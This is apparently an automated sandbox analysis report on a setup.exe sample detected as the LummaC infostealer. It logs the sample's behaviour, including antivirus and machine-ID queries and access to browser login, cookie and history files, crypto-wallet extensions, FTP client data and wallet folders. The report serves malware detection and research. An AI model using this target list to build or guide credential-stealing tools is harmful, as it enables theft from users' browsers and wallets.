Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_00AEBF63 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00AEBF63

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.5.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: MsMpEng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RegAsm.exe, 00000001.00000002.2116376670.000000000163D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum-LTC
Source: RegAsm.exe, 00000001.00000002.2116376670.000000000163D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: RegAsm.exe, 00000001.00000002.2116197394.000000000162E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: RegAsm.exe, 00000001.00000002.2116376670.000000000163D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: RegAsm.exe, 00000001.00000002.2116376670.000000000163D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: RegAsm.exe, 00000001.00000002.2116436680.0000000001676000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: RegAsm.exe, 00000001.00000002.2116376670.000000000163D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: RegAsm.exe, 00000001.00000002.2116436680.0000000001676000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla\Notes9.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
